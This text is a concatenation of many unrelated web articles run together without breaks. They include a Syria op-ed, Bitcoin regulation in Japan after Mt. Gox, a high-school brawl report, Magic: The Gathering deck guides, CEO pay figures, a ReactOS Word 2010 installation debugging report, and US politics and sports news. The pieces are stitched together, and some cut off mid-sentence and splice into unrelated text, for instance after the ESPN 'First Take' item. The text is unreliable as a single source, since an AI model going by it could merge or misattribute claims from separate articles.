Russian President Vladimir Putin has all-but-declared victory in Syria. He has welcomed his Syrian counterpart to Moscow and has spoken at length telephonically with President Trump. He has preserved a Syrian family enterprise steeped in criminality and left the “state” he claims to have saved firmly in the hands of Iran. To the extent this grim result is a “victory,” it is not a triumph of the Russian Federation. It is personal in nature: it is Exhibit A in Vladimir Putin’s assertion to his domestic constituents that he has restored Russia as a world power; that Russians need not dwell on economic shortfalls or chronic corruption; that the days of post-Cold War humiliation and disgrace are over.Putin now wishes to seal politically the military advances his air force and Iranian-led foreign fighters have achieved on behalf of the Assad regime and its broken army. He knows full well that Bashar al-Assad and his entourage will never share, much less yield, power. Yet he also senses that the Trump administration, like its predecessor, is, as they say in Texas, “all hat and no cattle:” that when Secretary of State Rex Tillerson says there is no future for the mass-murdering Bashar al-Assad in Syria, it has the same vacuity as similar words Secretary of State John Kerry used to utter. Putin suspects that Washington seeks a face-saving exit from Syria, and he is willing to provide one.Russia’s leader touts Syrian constitutional reform and power sharing, as if the former has meaning and the latter is possible. Syria, under present management, could write a constitution converting Assad’s specified powers to those of Queen Elizabeth. It would mean nothing: the Assad entourage would still pick the pockets of honest citizens and detain, torture, and kill those rash enough to resist. A free and fair election? The kind that Bashar al-Assad might lose? Forget the technical obstacles of a national vote in a broken state. Does anyone believe that this man and his entourage would partake in an honest process and voluntarily yield power?The conviction and life-sentencing of Ratko Mladic is instructive for Bashar al-Assad. He knows that to share power risks losing it. And to lose power is to mount the slippery slope leading inevitably to The Hague. It is a state of affairs familiar to Vladimir Putin. And if Assad is the face of a “state” allegedly saved from an American-led regime change campaign, why would Putin try to pave the way for the possibility of genuine political transition in Syria? Indeed, what makes some observers think he is capable of influencing anything in Syria beyond the perpetuation of Assad rule?All of this is fully known to American officials now, just as it was to the Obama administration. Two consecutive secretaries of state seek to cooperate with Moscow on an end-game for Syria. The difference seems to be this: John Kerry thought his persuasive skills and force of personality could convince Moscow to perform a thoroughly unnatural act: support genuine political transition. Rex Tillerson has no such illusion. He seeks to help his boss break free of Syria in a way that saves face and perhaps even enlists Moscow in a campaign to slow Iranian hegemony.Some officials seek to put the best possible face on what amounts to an attempt to avoid, with as little effort as possible, the humiliating consequences of an Obama administration foreign policy disaster. They claim to wield the big stick of depriving Syria of reconstruction assistance in the absence of political change, claiming that this constitutes leverage over Moscow. And they point to a long history of adversarial relations between Tehran and Moscow, implying that it is only a matter of time before Iran and Moscow fall out over Syria. These hope-filled arguments, as sincerely believed as they may be, are demonstrably false. Their tactical aim, however, may be identical to that of Barack Obama’s gratuitous “quagmire” warning to Vladimir Putin: to kick the can down the road in the hope that something good may turn up.Yet nothing good in terms of American national security interests is likely to turn up from cooperating with Vladimir Putin in Syria. Putin has stood aside as Assad’s air force and artillery have resumed mass civilian slaughter in Aleppo Province and the eastern Ghouta. Washington has stood aside as well, reaffirming the Obama administration policy of speaking loudly about Assad regime depredations but wielding no stick. What does it say to American officials touting cooperation with Russia when Moscow—either because it supports mass murder, or is powerless to stop it, or both—either watches its Syrian client do his worst or joins in?To establish domestic political bragging rights for having saved Assad and restored Russia to greatness, Vladimir Putin is solidifying Iran’s grip on Syria. Tehran’s principal interest in Syria is to place the country at the disposal of Hezbollah in Lebanon: Iran’s money-laundering, drug-running, and international terrorist asset in the Arab world. Major General Mohammed Ali Jafari, the head of Iran’s Revolutionary Guard Corps, just announced that the disarmament of Hezbollah—allegedly a Lebanese political movement—is “non-negotiable.” Putin, whose air force pales in significance to the ground forces of foreign fighters assembled by Iran in Syria, seeks American cooperation in placing Syria firmly in the hands of the likes of Jafari.One need not dismiss the possibility of cooperating with Moscow and even Tehran for civilized political arrangements protecting civilians in all of Syria. Civilian protection is, after all, essential to preventing the rise in Syria of political movements every bit as violent as the Assad regime and Hezbollah. But it is a snare and a delusion to try to do so without leverage, as John Kerry demonstrated spectacularly for the whole world to see. Protecting Syrian civilians and securing Syria east of the Euphrates constitute the table ante for eventually defeating extremism and blocking Iran in Syria. If these goals are of no importance to the Trump administration, then it may as well just leave things to Putin. For the sake of America’s reputation, however, it should not be called cooperation.is director of the Atlantic Council's Rafik Hariri Center for the Middle East.Following the collapse of Bitcoin exchange Mt. Gox, Japanese regulators are laying down the law -- and considering treating the digital currency in the same manner as gold.
According to Reuters, the Asian country will set out Bitcoin-based regulations this week. On Friday, regulations will thrash out how to integrate the digital currency within existing laws -- although banks and securities firms will not be permitted to treat Bitcoin in the same manner as standard currency.
Instead, the idea of treating Bitcoin as a commodity -- such as gold -- has been floated.
If Bitcoin assumes a commodity status in Japan, this paves the way for the crypto-currency to be taxable and regulated under law, but kept as a separate entity from the Yen.
Tokyo-based Mt. Gox closed its doors last week unexpectedly, filing for bankruptcy protection after admitting that several years of lax security and hacking led to the theft of 750,000 Bitcoins deposited by users and approximately 100,000 Bitcoins belonging to the company, which is worth over $500 million in today's trading standards.
Once the world's dominant Bitcoin trading post, Mt. Gox's demise left millions of users out of pocket, frustrated and angry, as few of the Bitcoin were kept in "cold storage" -- offline and out of reach by hackers. Instead, the company's online "hot wallet" was cleaned out, leaving Mt. Gox insolvent and with more debt than assets.
The rising popularity of the digital currency is a lucrative prospect for cybercriminals who have long targeted such trading posts. On Tuesday, Bitcoin "bank" Flexcoin closed its doors, posting a notice on the firm's website which said hackers stole 896 Bitcoin -- worth approximately $606,000 -- from the firm's hot wallet. As Flexcoin "does not have the resources, assets, or otherwise to come back from this loss," it has been forced to close.
In China this week, BTC China announced the introduction of Litecoin trading to the company's platform thanks to "popular request." To reassure users amidst the Mt. Gox fiasco, the Bitcoin exchange said it is "committed to providing a safe and secure platform."Shocking cell phone footage shows the moment several female students were allegedly attacked outside their California high school by another teen's parents.
The chaotic video showed students from Knight High School in Palmdale, California, yelling and standing in a huge circle as the adult attackers punched, kicked and swung the victims around by their hair.
About five female students were reportedly attacked in the incident that occurred on Tuesday.
One victim was slammed to the ground and an attacker jumped on top of her and punched her repeatedly in the face.
A 'vicious' attack that broke out at a California high school on Tuesday involving students and parents was captured on cell phone cameras. One female student (pictured in all black) was grabbed by one of the attackers and slammed to the ground
Michelle Brown, a parent of a victim, who attends Knight High School, said another teen's family members showed up at the school and allegedly attacked her daughter
Another attacker kicked the same victim in the back of the head as she tried to get to her feet.
Michelle Brown, a parent of one of the victims, said another teen's family members showed up at the school and allegedly attacked her daughter.
'There was a mob of grown women, grown men, waiting to attack - viciously - these young girls,' told KTLA.
Security officers were also seen in the video attempting to break up the brawl.
One officer is heard yelling'stop' as he slowly walks over to the girl to help her up. Security then escorts the victim away from the crowd.
Parents said security at the school should have done more to help the students.
Jessica Lozano, a student who wasn't involved in the fight, told KTLA that she saw a man 'grab one girl and push her on the floor'.
She said there were two guys who were involved in the fight that 'hit two girls'.
The attacker (left) jumped on top of the victim and started punching her repeatedly in the face. While the girl (right) was lying in pain on the ground, another person kicked her in the back of the head
Knight High School (pictured) is a part of the Antelope Valley School District. School district administrators did not immediately return DailyMail.com's request for comment
One of the victims, who wanted to remain anonymous, told the station that 'no one should fight, but if anything it should be left up to the teenagers'.
She said that the massive fight stemmed from previous fights between students.
Brown said the school has yet to call her about the incident. She also reported the fight to authorities.
Knight High School is a part of the Antelope Valley School District. The school district's administrators did not immediately return DailyMail.com's request for comment.
Police are now working to identify the adult attackers. No arrests have been made.T he Innistrad Event Decks will be on sale on October 28 at an MSRP of $24.99 each. So we thought you might be interested to know what was in them!
Event Decks let you enter the world of tournament play knowing you've got a powerful deck designed to let you be immediately competitive. Each Event Deck contains 60 powerful cards and a supplemental 15-card sideboard. Rest assured that each one of these weapons was handpicked to inflict pain upon any opponent who takes you on.
Grab an Event Deck and try it out at a Friday Night Magic or Game Day event near you! The Store and Event Locator is waiting!
Hold the Line
With the "Hold the Line" deck, the beatdown starts early and never stops. Use low-cost creatures like Elite Vanguard and Champion of the Parish to pressure your opponent starting from the first turn, then suit up your creatures with Equipment to maintain your advantage into the midgame.
You'll want to play your creatures in a way that maximizes their effectiveness. Champion of the Parish and Elite Vanguard are in your deck because of how much power you get out of them for only one mana, so you'll want to play them as early as possible. Gideon's Lawkeeper, on the other hand, isn't as important to play early; after all, if your opponent doesn't have any creatures, Gideon's Lawkeeper doesn't have much to do! Don't be afraid to hold on to your Fiend Hunters. Your creatures are excellent at fighting with smaller creatures, so try and save Fiend Hunter to exile a big creature you might not be able to get past otherwise.
Early in the game, you want to be very aggressive to keep your opponent on the back foot. However, be careful that you don't lose all of your creatures to a single mass-removal spell. Play out just enough creatures to force your opponent to react. If a spell like Day of Judgment clears the battlefield, you'll still have creatures in hand to recover quickly. Your Equipment is superb for getting in extra damage with the creatures you already have on the board.
This deck gives you plenty of ways to overcome opposing creatures. Tap enemy creatures with Gideon's Lawkeeper and then sneak some damage through, or exile enemy creatures with Oblivion Ring and Fiend Hunter to clear potential blockers out of the way. Bonds of Faith is another fun removal spell. If your opponent doesn't have any creatures, though, you can always cast Bonds of Faith on one of your own creatures and go to town!
After sideboarding, you have access to answers for specific threats. Get rid of problematic red or black permanents with Celestial Purge. Use Nihil Spellbomb to end any graveyard-based shenanigans. Call on Suture Priest for a hefty life drain against creature-based decks. Blow up annoying artifacts and enchantments with Leonin Relic-Warder. Lastly, prevent problem cards from being played entirely with Nevermore!
There are several ways you could change the deck to suit your own play style. You could make the deck even more aggressive with more cards like Champion of the Parish and Elite Inquisitor. Alternatively, you could "go bigger" with larger if slightly slower creatures. Hero of Bladehold brings along an army whenever it attacks, and Mikaeus, the Lunarch can add +1/+1 counters to build that army to colossal size.
Deathfed
Winning with the "Deathfed" deck requires some patience. Your deck is designed with the late game in mind, and if you rush your strategy, your opponent may just overrun you. Don't worry if you appear to fall behind early. Your biggest strength is a well-stocked graveyard, and all of your cards will give you an incremental advantage while fueling your graveyard. Once your engine is up and running, it's very difficult for any opponent to stop.
The easiest way for you to fill up your graveyard is to use spells like Mulch and Forbidden Alchemy. You'll get more resources while also getting more creature cards into your graveyard for future use—a win-win situation. You can also plunk down Armored Skaab in front of opposing creatures and get an even fuller graveyard for your trouble. Use Viridian Emissary to block and take down an attacking creature and get another land, and keep a steady stream of spells and lands coming with Merfolk Looter. You can use Green Sun's Zenith to find whichever creature you need at the moment.
You'll be well rewarded for all those creature cards in your graveyard. Boneyard Wurm keeps growing as you keep filling your graveyard. Splinterfright has the same ability, plus even fills your graveyard for you. You can create huge armies of spiders with Spider Spawning (and then flashback the Spawning later). Bonehoard is particularly strong in this deck. Even if your opponent can kill the Germ, you'll have plenty of extra creatures around to pick up the Equipment. Eventually your creatures will tower over your opponent's and you can win at your leisure.
Your main deck is tuned to face a wide variety of other decks, but your sideboard allows you to attack specific strategies. With Naturalize, you can blow up annoying artifacts and enchantments. Use Negate to counter powerful spells from opposing control decks, or Flashfreeze to counter pesky red or green spells. You can fight directdamage spells by gaining life by the boatload with Gnaw to the Bone. And of course, you can always steal opposing creatures with Mind Control.
Tweaking the deck to your own satisfaction could take it in a variety of directions. Mirror-Mad Phantasm adds a more aggressive element while still fueling your graveyard. Skaab Ruinator provides an alternative use for the creatures in your graveyard and takes the fight straight to the enemy. Or you could use Jace, Memory Adept and Jace's Apprentice to dump even more creatures in your graveyard—or turn the tables on your opponent and win by depleting their decks!This week at PayScale, we did a deep dive into the salaries of CEOs to understand how much CEOs make relative to typical workers. We also looked at how employees feel about the salaries their chief executives earn. Find out how much CEOs of the world’s most popular brands actually earn.
CEO-to-Worker Pay Ratios of Popular U.S. Brands
In our report, we ranked CEO-to-worker pay ratios, which compare chief executives’ pay to the median compensation of their employees. Some of some of the most popular brands in the country (and the world) made the top of the list.
CVS has the highest CEO-to-worker pay ratio in this year’s ranking. There were some surprises: Wells Fargo, for example, came in at No. 39, and had the highest ratio (130:1) of any banking company on the list, but came in lower than one might expect of a financial institution. For comparison, Bank of America has a ratio of 33:1.
Do You Know What You're Worth? GET A FREE PAY REPORT
Many CEOs Are Highly Paid (But Not in Cash)
If you’re a typical worker (read: not a CEO), the bulk of your compensation probably comes in cash. The big boss, however, might have a very different pay situation.
Through our research, we found that there are CEOs who accept as much as 100 percent cash compensation, and as little as 2 percent. To get a feel for these different ranges, here are a few different companies whose CEOs all take varying amounts of cash compensation:
Median Employee Salary Compared to Their CEO
When Fortune-500 CEOs take cash compensation, it’s typically a lot of cash compensation. To get a better idea of how much, it helps to look at CEO salaries in comparison to their employees. Here’s what we found in terms of the companies whose employees have the lowest median salaries.
Tell Us What You Think!
Do you think that CEOs are paid fairly? Do you think they earn too much? We want to hear from you! Comment below or join the discussion on Twitter!In this second report I continue my investigations on the Word 2010 installation. Last time we saw that our services (and in particular the "Office Software Protection Platform" OSPPSVC service) were started without a complete environment block, and as a result some needed environment variables were missing, causing e.g. OSPPSVC to fail opening some of its files. We now analyse what happens after my local fix (NOTE: I have not committed the fix yet, as I validate it in my local installation first).
Retesting the installation (hacked way)
After having fixed the environment variables problem, I decided to retry the Word 2010 installation. Sadly it again failed at the same place (MSI action "CAInitSPPTokenStore.x86" failure with error 1603), so I decided to attempt to see what happened if I worked around the failure. I placed breakpoints in our MSI code where the installation error is caught, in order to overwrite the failure error code with a success code ( 0: ERROR_SUCCESS ) to make the installation continue, and thanks to that I was able to finish the installation. This allowed me to confirm that only the MSI action "CAInitSPPTokenStore.x86" actually failed.
Breakpoint in MSI code
Running the installation and stepping in the code
Hitting the error
Forcing the error to be 0 and continuing execution
Installation finished after working around the errors
Here are some additional pictures of Word 2010 installed in ReactOS:
Word 2010 files
Word 2010 shortcuts
However, trying to run Word in ReactOS triggers again the installer, which attempts to perform extra configuration steps. This does not happen on a successful installation in Win2k3. This is certainly due to the fact that the OSPPSVC was not able to initialize correctly itself and I was forced to manually skip its configuration step at installation time.
Configuration while starting Word 2010
Word installation asks for a restart
Word cannot verify its own license
Translation: "Microsoft Office cannot verify the license for this product. You should repair the Office installation from within the Configuration Panel"
So far, the installation succeeded just because I overwrote the error codes due to the MSI action "CAInitSPPTokenStore.x86" that was failing, with a success error code. While this procedure allows me to confirm that only this step in the installation process fails and everything else seems to work so far, the procedure does not shed light on why the MSI action fails in the first place.
OSPPSVC service investigation 2/2, and MSI installation (cont.)
With advice from Sylvain Petreolle, I searched through the temporary generated MSI files which one(s) referred to the "CAInitSPPTokenStore" action. (Note: during installation the MSI framework creates temporary PE files corresponding to the different MSI actions performed during the installation, that can be rolled back in case the user cancelled the installation, or an error occurred during the process. The MSI action itself shows as an exported function, that is subsequently called by the MSI framework.) I then analysed what was done inside this action, and noticed that it first just stopped the OSPPSVC service, with some code following a pattern similar to that described in the JIRA report CORE-12413, and then performed an external DLL API call, then restarts OSPPSVC. I therefore made a first hypothesis that something should went wrong when we try stopping / querying a service status. While this problem actually really happens when the service is started, then stopped manually, this generally does not appear to be the case during a clean Office installation because the service is initially stopped. So the problem should arise after. The observed problem looks similar as (but the causes certainly are different than) what is described at this link (MS Office forum).
Performing a step-by-step debugging inside this MSI action let me allowed to find the second and crucial problem. After the OSPPSVC service is stopped the MSI action calls the SLInitialize function that is exported by a DLL named OSPPCEXT.DLL (a helper for the Office Software Protection service). This function, which sadly is partially crypted (and is decrypted at run-time: this is recognizable by the fact that its first bytes are constituted of valid code that ends with a call to a subfunction, and the following bytes are seemingless data; the subfunction performs some operations using the CPU instruction pointer, and returns as a regular function, to its caller). The SLInitialize function returns with an error code that makes the MSI action fail.Depression, though one of the most common forms of mental illness in the world, is still vastly misunderstood. In part, this is because it’s difficult to differentiate between the intermittent episodes of sadness everyone experiences at some point and the deeper, more serious feelings of sadness that arise in clinical depression — something only those who experience it can really comprehend.
Researchers aren’t always sure what causes depressive disorders, but genetics, abuse, medications, and major life events all have the potential to contribute to an episode of depression. That said, the illness also appears in many forms, each with its own symptoms and different levels of severity, which can make it even more difficult for doctors to study and patients to deal with.
Click “View Slideshow” to learn about six different variations of depression, from the most common to the rarest forms.0
Even after just one second of that Jurassic World trailer teaser, I was already nervous. Why? Because of that stupid gate. We finally get our first look at some Jurassic World footage and the very first thing we see is a digital shot of the park gate? Ugly/obvious CG is always problematic, but when Jurassic Park is so well known for its incredible practical effects, opening a promo with a shot like that is bound to be a major turnoff and raise some serious doubts.
Sure enough, a couple of fans called director Colin Trevorrow out on Twitter. Check out how he responded to the tweets about the Jurassic World gate after the jump. Jurassic World is due in theaters in 2D, 3D and IMAX on June 12, 2015. The film stars Chris Pratt, Bryce Dallas Howard, Nick Robinson, Ty Simpkins, Vincent D’Onofrio, Irrfan Khan, Jake Johnson, Omar Sy and Judy Greer.
Here are the two Twitter exchanges Trevorrow took part in after the trailer teaser dropped:
@alexfieldsman the gate will be practical. Real wood, concrete and steel. — Colin Trevorrow (@colintrevorrow) November 25, 2014
@TheHoyt08 The gate is practical, the environment isn’t. That shot was made specifically for the trailer. The film will be different. — Colin Trevorrow (@colintrevorrow) November 25, 2014
I’m extremely relieved that this shot was made specifically for the trailer and it won’t look like this in the final film, but why bother to do that at all? Not having a shot of the gate in the trailer wouldn’t have been a deal breaker. Why run the risk of disappointing fans by forcing the shot into the piece using CG?
You know what the smart move would be at this point? Release an official still of what the gate will really look like. Hopefully that would put many at ease.U.S. Sen. Ted Cruz is wading deeper into the school choice battle at the Texas Capitol.
Cruz, who does not often weigh in on specific legislation in Austin, sent a letter to every fellow Republican in the Texas House and Senate on Thursday urging them to make Texas the next state that gives parents taxpayer dollars to send their children to private or religious schools, or educate them at home.
"There is no political, social, policy or moral excuse for delaying what Florida, Arizona, Indiana, Nevada and many other states have already done," wrote Cruz according to a copy of the letter obtained by the Tribune. "Pass a school choice program now that allows parents to design an education that is best for their children."
Cruz's letter comes at a particularly challenging time for school choice supporters, who expect to win passage in the Senate, where the issue is a priority for Lt. Gov. Dan Patrick, but are seeing growing resistance in the House. State Rep. Dan Huberty, the Houston Republican who chairs the House Public Education Committee, said last month he views school choice as dead on arrival in the lower chamber.
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In the past, Cruz has resisted getting involved in legislative battles in Austin — which is why it was notable when he went out of his way earlier this year to urge state lawmakers to tackle school choice. "I could not encourage state legislators more to take up this issue, to show courage and to empower our kids," Cruz said at a conference in January hosted by the Texas Public Policy Foundation, an Austin-based conservative think tank.
In the letter delivered Thursday, Cruz offered more detail on his school choice views, making clear he supports Education Savings Accounts, a key part of the most prominent school choice bill making its way through the Senate. The accounts would give parents state-issued debit cards to be used for private school tuition.
Read more:
Reference Cruz letter to state lawmakers on school choice (339.4 KB) DOWNLOADCLOSE to $1.7 million commuters have put on go cards is set to be seized by the State Government under legislative changes.
TransLink has calculated there are 176,000 cards that have been unused for the past five years, each with an average of $9.50 worth of credit.
The State Government changed the law in April to gain access togo card credit after five years of no use, with the proceeds going back into public transport.
Soon millions more dollars in credit could be surrendered to the State, with the first go cards issued by TransLink in 2004 due to expire next month.
Unused credit on cards re-invested by government
Tertiary students told fare rort is to end
The looming deadline is likely to go unnoticed by many with the expiry date not printed on the card – and only available through a retailer if the card is unregistered.
Commuter advocate Robert Dow from Rail Back on Track said the system was “archaic” and would leave many people in the lurch.
“There’s no way most people would know the cards are about to expire,” Mr Dow said.
“That’s going to get them in a lot of strife when they go to use their cards after July and find they’re no longer valid.”
He said a similar problem occurred in Melbourne at the start of the year, when a plethora of transport cards known as the Myki expired.
“There were massive problems in terms of people not being ready for it,” Mr Dow said.
“It really needs rectification (in southeast Queensland), perhaps in the form of a sticker on the front.”
Adult and seniors cards have a 10-year lifespan, children’s go cards expire on their 15th birthday, and concession cards usually expire on an annual basis. When a card is expired for three months or more, commuters are required to download a two-page form from the internet, fill it out and mail it back to TransLink.It will likely be more than a decade, at least, before the Second Avenue Subway stretches north of 96th Street. But the MTA is giving Harlem residents a peek at what someday could be. NY1's Jose Martinez filed the following report.
The Second Avenue Subway's next phase, which would extend Q train service into East Harlem, now has a small, above-ground presence on 125th Street with the opening this week of the Second Avenue Subway Community Center.
"This community center is a one-stop information center for everything pertaining to the Second Avenue Subway," said Rep. Carolyn Maloney, whose district covers parts of Manhattan, Brooklyn and Queens.
Exhibits at the center detail the long history of the Second Avenue line, how it was built and point toward its hoped-for expansion to stops at 106th Street, 116th Street and 125th Street.
"It would make a big difference in my life," said one commuter.
"I have high hopes. But it's going to take a lot of money," said another.
The four-station first phase, with stops at 96th, 86th and 72nd streets, plus a connection at 63rd Street, was close to a century in the making and cost $4.5 billion.
For the second phase, only $1.7 billion is now in place, and that is being used for preliminary engineering and utility work. It means actual Q train service north of 96th Street is still billions of dollars and years away.
"Absolutely, it's got to happen," Maloney said. "It took us roughly 100 years to open up the first phase. We do not intend to wait that long. The people need it."
Riders along the line's first stretch on the Upper East Side say its arrival has been life-altering.
"I don't have to go crosstown and uptown and downtown and cross. So it's wonderful," said one commuter.
"I live in the area, so it helps me get to work faster and all. I don't have to go up to Lex to catch the 6, 5 or the 4," said another.
But those lines will get you to 125th Street, where you can catch a glimpse of the Second Avenue Subway's distant future.
The Second Avenue Subway Community Center is open Monday and Friday from 9 a.m. to 5 p.m, on Tuesdays and Thursdays from 11 a.m. to 7 p.m. and on Wednesdays from 8 a.m. to 4 p.m.In the mid 80s Detroit was suffering from huge economic decline. During this time it was nicknamed the “murder capital of America”, crime and poverty were rife, much of the middle class population had abandoned the city and parts of the urban sprawl was literally crumbling away. From this stark environment came techno music, a soundtrack to the future – perhaps a brighter future – envisaged by Juan Atkins and his friends.
The music evolved from early electro influences, with some of Atkins’ early recordings as Cybotron focused on a distinct aesthetic with Afrika rooted in pioneering tracks such as 'Planet Rock'. With the iconic radio host The Electrifying Mojo providing a myriad of alternative music on his show, influences from acts like Kraftwerk and Depeche Mode also merged with Atkins’ ideas and techno began to come to fruition.
The sound as we know it today may feel several times removed from those early productions, but the notion of soundtracking the future remains intrinsic to many techno producers' output. Techno has seen a few ups and downs since it first came into being in the late eighties – today it is one of most popular forms of electronic music. In light of this we present an A-Z history of the music that spawned superstars like Sven Väth, Nina Kraviz, Nicole Moudaber, Ben Klock, Richie Hawtin, Carl Craig and Marcel Dettmann among many others.On Tuesday, 18-year-old Ky’Andrea Cook was sentenced to 20 years in state prison for using a dating app to set up a robbery that ultimately led to the shooting of another teen.
According to the prosecution, Cook was still a Mainland High School student in March when she used a dating app to lure 27-year-old Perry Nida to a meeting in which he expected to sell her marijuana, after which they would have sex. Nida brought 17-year-old Immanuel Pursel with him, and Pursel was the one who wound up shot by Cook’s boyfriend, who was waiting to rob them.
Circuit Judge Matthew Foxman sentenced her to 20 years for on a carjacking charge, 15 years for attempted carjacking with a deadly weapon and 15 years for a battery felony, with the sentences running concurrently. A conspiracy charge, which carried a maximum penalty of life in prison, was dropped as part of a plea agreement.
— Web series ‘Little Apple’ tells story of girl growing up in gentrified Harlem —
When the charges were read, Cook’s mother dropped to the floor, howling and wailing in grief so much so that Foxman had to repeat the sentences for the clerk to record them.
Foxman acknowledged that Cook was not the one to pull the trigger and that the victim luckily survived but noted that she was still responsible for her actions.
“This was intentional. It was an orchestrated ambush. And you are a main part of that,” Foxman said. “For that I’m going to adjudicate you guilty for all three charges and sentence you to 20 years in state prison.”The Passage of Power: The Years of Lyndon Johnson by Robert A. Caro Knopf, 712 pp., $35.00
Robert Caro’s epic biography of Lyndon Johnson—this is the fourth volume of a planned five—was originally conceived and has been largely executed as a study of power. But this volume has been overtaken by a more pressing theme. It is a study in hate. The book’s impressive architectonics come from the way everything is structured around two poles or pillars—Lyndon Johnson and Robert Kennedy, radiating reciprocal hostilities at every step of the story. Caro calls it “perhaps the greatest blood feud of American politics in the twentieth century.” With some reservations about the word “blood,” one has to concede that Caro makes good his claim for this dynamic in the tale he has to tell.
There are many dramatic events, throughout the volume, that illustrate Caro’s theme. I begin with one that could seem insignificant to those not knowing the background on both sides, because it shows that even the slightest brush between these two triggered rancorous inner explosions. Johnson, newly sworn in as president, had just come back to Washington on Air Force One from the terrible death of John Kennedy in Dallas. Robert Kennedy sped up the steps to the plane and rushed fiercely down the length of the cabin through everyone standing in his way (including the new president) to reach Jacqueline Kennedy. Understandable that he would first of all want to comfort the widow? Yes, but. This was the first of many ways Bobby (called that throughout) tried in the first days to ignore the man who had ignominiously, in his eyes, supplanted his brother by a murder in the man’s own Texas.
Caro understands that Bobby was determined not to see Johnson, even if he saw him—so he did not see him. But Johnson saw him not seeing, and hated him the more. That is how hate narrows one—narrows what one wants to see, or is able to see, in order to keep one’s hatred tended and hard.
Both men had good reason to treat each other with some empathy at that moment. Johnson had just inherited a crushing office, in a time of national crisis, and had to legitimize himself in every way he could. Bobby should have recognized the need of the nation, and gulped down the unwelcome fact that Johnson was, in fact, the president now. He should have set a pattern for stricken Kennedy loyalists on the plane. Johnson, on the other hand, should have sympathized with a brother still reeling from an incalculable loss, a man moving in a blur of emotions, and he should have swallowed his resentment at the snub. But they were blocked from the generosities needed in such a moment of tragedy by their…ESPN
ESPN is moving their star morning debate show, "First Take," from ESPN2 to ESPN in 2017 in an effort to boost its declining viewership, according to John Ourand of Sports Business Daily.
While this move can be looked at as an effort to revive ESPN's most controversial show, it is also a sign that ESPN is at a crossroads and a larger shake-up is brewing for the self-proclaimed "Worldwide Leader in Sports."
It has been a rough year for ESPN. They laid off more than 300 employees at the end of 2015 — their second wave of lay-offs in two years — and are on pace to lose three million subscribers in 2016. In addition, ratings are down 19.4% for ESPN's biggest investment, "Monday Night Football," an enterprise in which ESPN pays $1.9 billion per year for one game per week during the NFL season.
All of that has overshadowed another growing problem for ESPN: "First Take," one of their marquee daytime shows, is losing viewers in droves at a time when doubt was already being raised about how well strong ratings for debate shows |
should look mostly the same.
Also, if you haven't seen the recent community spotlight #3, you can see it below:NEW DELHI: India and the USA on Wednesday discussed situation in the South China Sea region and measures that could lead to stability in the area with fresh reports of new artificial islands being built by China raising tensions in Southeast Asia.The matter was a key item on the agenda when US Defence Secretary Ashton Carter met External Affairs Minister Sushma Swaraj and National Security Adviser Ajit Doval here. Carter coming to India straight from Vietnam emphasized on the need for stability in the South China Sea as his Indian interlocutors stressed on freedom of navigation and right to oil exploration in the area, diplomatic sources said.The issue of stability in the Asia-Pacific region is emerging as strategic priority for both the USA and India in the backdrop of Joint Vision Statement issued during President Barack Obama's trip here last January. "…Regional prosperity depends on security. We affirm the importance of safeguarding maritime security and ensuring freedom of navigation and over flight throughout the region, especially in the South China Sea. We call on all parties to avoid the threat or use of force and pursue resolution of territorial and maritime disputes through all peaceful means, in accordance with universally recognized principles of international law, including the United Nations Convention on the Law of the Sea," affirmed the statement.Last Sunday addressing the annual press meet External Affairs Minister Sushma Swaraj pointed out that India has clarified on oil search in the South China Sea region indicating that Delhi will continue its exploration in the oil blocks offered by Vietnam. Hanoi has offered over five oil blocks to India off the coast of Vietnam. Officials in Delhi said that the Modi government is closely monitoring the ratcheting of tensions in Southeast Asia that have implications for India's economic and strategic interests in the backdrop of an active Act East Policy.Fresh tensions have arisen after China last Sunday strongly rejected U.S. criticism of its land reclamation activities in the South China Sea. Chinese Admiral Sun Jianguo told Shangri La Dialogue in Singapore that construction work is "justified, legitimate and reasonable," and that the projects are for the purpose of providing "international public services."The admiral, who is the deputy chief of staff of the People's Liberation Army asserted "there are no changes in China's claims in the South China Sea. Nor are there changes in China's position on the peaceful resolution of the relevant disputes through negotiation and consultation."ET is in possession of images, released by Philippines, of new construction activities by China in SCS. Construction of artificial islands in SCS, a major sea lane of communication in Asia has exacerbated tensions after Chinese territorial claims in the region since 2010.The comments from Sun raises eyebrows and leads to a conclusion China intends to militarize the disputed islands on which it is building, according to both Indian and US officials.The Chinese admiral's comments came a day after Carter slammed China for being "out of step" with international norms amid the unprecedented pace of island reclamation, saying "it is unclear how much farther China will go."NBA franchise the Miami Heat have acquired stake in multigame esports organization Misfits, the two parties announced Tuesday. With the investment, the Heat will assist in managerial duties around the brand, including a new rebrand to match the Heat colors, marketing, brand promotion and sponsorship.
Editor's Picks Adidas becomes Team Vitality's jersey outfitter Team Vitality has secured a sponsorship with Adidas for 2017 to make Vitality-exclusive gear in one of the first partnerships of its kind in esports, the team announced on its website on Monday.
ESEA user data released after $100,000 ransom refusal The E-Sports Entertainment Association said in a statement on Monday that after it refused to pay a $100,000 ransom, hackers released personal data from a large swath of its users. 1 Related
Terms of the deal were not disclosed.
"The Miami Heat pride ourselves on being innovative in all aspects of sports and business," Heat chief executive officer Nick Arison said in a news release. "For us, it made perfect sense to partner with Misfits, a young and ambitious franchise in a sport that is blazing a trail in terms of 21st century recreational competition amongst Millennials."
The Heat are the second NBA franchise to fully integrate into an esports team. In September, the Philadelphia 76ers ownership group purchased majority stake in Team Dignitas and Apex Gaming, merging the two under the Dignitas banner, appointing new staffers and using some of its staff from the Sixers for the esports brand.
There are other NBA investments of varying degrees. In 2015, two co-owners, Andy Miller and Mark Mastrov of the Sacramento Kings, launched their brand NRG Esports, while Memphis Grizzlies co-owner Stephen Kaplan invested in Immortals. In September, Ted Leonsis and Peter Guber of the Washington Wizards and Golden State Warriors, respectively, launched investment group aXiomatic, which purchased a majority stake in Team Liquid.
"This partnership will be the catalyst and foundation to our continued expansion of the Misfits organization into a global esports brand and company," Misfits CEO Ben Spoont said. "The Heat -- innovators and leaders in traditional sports -- will help Misfits to unlock meaningful value across all facets of our business."
Misfits started in 2016 when Syfy channel co-founder Mitchell Rubenstein and his son-in-law, businessman Ben Spoont, launched the brand and acquired the former Renegades: Banditos League of Legends team. That team then qualified for the League Championship Series and the brand has since expanded into Overwatch, Heroes of the Storm, Hearthstone and Super Smash Bros.This is part two of four in a series regarding BYU's potential inclusion in the Bowl Championship series and the Big 12 conference. Part one reviewed recent twitter conversation between Tom Holmoe and BYU sports fans. In this article, Ryan Teeples addresses the nature of the Big 12 Conference collective and issues relating to playing sports on Sunday.
Nature of a collective
Fans may over-simplify the issue of conference membership by assuming it’s "The Conference" or "The Commissioner" that should want but in this case doesn’t want BYU.
